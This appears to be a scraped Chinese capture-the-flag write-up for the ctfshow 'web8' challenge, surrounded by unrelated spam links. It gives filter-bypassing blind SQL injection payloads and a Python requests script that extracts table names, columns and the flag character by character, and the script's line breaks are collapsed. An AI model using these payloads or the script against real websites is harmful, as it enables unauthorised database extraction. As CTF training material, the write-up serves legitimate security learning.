当前位置: 首页 > wzjs >正文

个人网站主题阳江招聘网丰多采

个人网站主题,阳江招聘网丰多采,漆包线 东莞网站建设,广州广告设计公司前言 学习内容:简单的盲注脚本的书写 web8 这个题目题目手动注入很麻烦 主要是他过滤了 union 空格和 过滤了union的解决方法 1、使用盲注(报错注入和盲注) 2、使用时间盲注 3、堆叠注入 盲注脚本的书写 首先他是有注入点的 然后熟悉requests包的使用 …

前言

学习内容:简单的盲注脚本的书写 

web8

这个题目题目手动注入很麻烦  主要是他过滤了 union 空格和' 

过滤了union的解决方法

1、使用盲注(报错注入和盲注)

2、使用时间盲注

3、堆叠注入

盲注脚本的书写

首先他是有注入点的

然后熟悉requests包的使用

requests包

第一步就是导入包 

如果你没下载的话需要你去 pip3 install  requests

发现一堆这个报错

这个是因为 没有 设置web的ssl证书  把https改为http就行了

或者是进行关闭证书验证

x = requests.get( 'http://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/1=1', verify=False)

验证成功   可以查看返回的内容

为了方便也可以写入到文件中去

前置知识说完就开始写脚本

脚本的书写

他过滤了 union 那我们还是可以进行数据库的查询的

其实我们写脚本是不用判断他的数据库啊 表啊的长度是多少的  只要我们多写几个循坏就能搞定

发现使用这个 也会报错 说明这个 , 可能也是被过滤了

这个形式不懂的可以搜一下  其实就是和 , 一样  from是开始的位数 for是步长 

https://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()from/**/1/**/for/**/1))%3E97

这个就是我们的payload

如果我们输入成功就会出现页面  这个可以作为我们一个成功的特征

先写这些  循坏如果是遍历这个 数据库名字的话可以小一些  主要是第二个占位符需要使用 ascii 码进行遍历 

payload%(i,j)   就是表示进行站位符的赋值

发送payload

组合一下是不是就是我们上面的那个  然后再写就是判断正确的返回

根据上面的

发现只有成功才会返回if页面不然就是空的  所以我们判断就是if是不是在返回中

但是这个样子很容易卡死或者  无限循坏 所以需要带个终止的

优化一下  需要注意把 url换为 http开头的

运行 

源码:

import requestsurl="http://1391be5a-661f-4210-a5a8-ee142d9ad5f7.challenge.ctf.show/index.php?id=-1/**/or/**/" #定义为这样为了后面拼接payload
result=""     #定义一个结果for i in range(1,45):# payload="ascii(substr(database()from/**/%d/**/for/**/1))=%d"   #%d就是这个预处理的占位符  这边我们可以是变化的所以就不需要禁下定义  后面执行的时候再给他定义payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'print(f"正在获取第{i}个字符")count=0for j in range(32,127):x=requests.get(url+payload%(i,j),verify=False)if 'If' in x.text:result+=chr(j)print(f"当前的结果{result}")breakcount+=1if count>(127-32):exit()

获取表 :

字段:

    # 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据# 修改后的payload(注意空格处理)

ctfshow{0f009533-475d-471f-a190-0b795f068b5a}

http://www.dtcms.com/wzjs/822803.html

相关文章:

  • 套模板做网站电话淘宝毕业设计网站代做
  • 二度云自助建站系统大连网站网络公司
  • 湘潭专业seo优化价格厦门网站搜索优化
  • 给个网站免费的片多多影视剧免费观看在线观看
  • 网络小白如何建立个人网站网站建设与网页制作招聘
  • 科技微网站加盟网站做推广怎么收费
  • 建网站商城有哪些公司西安微网站制作
  • js代码 嵌入网站软件工程专业导论结课论文
  • 响应式网站的开发宁波模板建站定制网站
  • 做网站简单吗中山网站开发
  • 大朗镇网站仿做电子邮箱怎么申请
  • 广西网站建设教程网站做下要多少
  • 抚养网站建设企业网站建设合同书
  • 建设一个网站的方法安徽阜阳网站建设
  • 途牛网站建设方案wordpress登陆页面404
  • 页面上影响网站排名的因素wordpress 无法编辑主题
  • wordpress文件下载站亳州网站建设费用
  • 站群是什么意思网站建设售后服务承诺
  • 做英文企业网站多钱钱wordpress安装报错
  • 怎么做网站建设销售影视网站开发
  • 设计一个app界面多少钱谷歌seo排名优化服务
  • 网络公司网站优化网站建设30天网站建设实录视频
  • 做彩票类网站用什么服务器wordpress mysql安装
  • 网站建设话语媒介
  • 1m带宽做网站怎么样手机网站图片轮播
  • 网站开发需要团队吗网络软件下载
  • 织梦搭建本地网站北极寒流wordpress
  • 福州公司网站建设拉卡拉(300773) 股吧
  • 哈尔滨的网站建设公司wordpress怎么搬站
  • 如何建英文网站深圳画册公司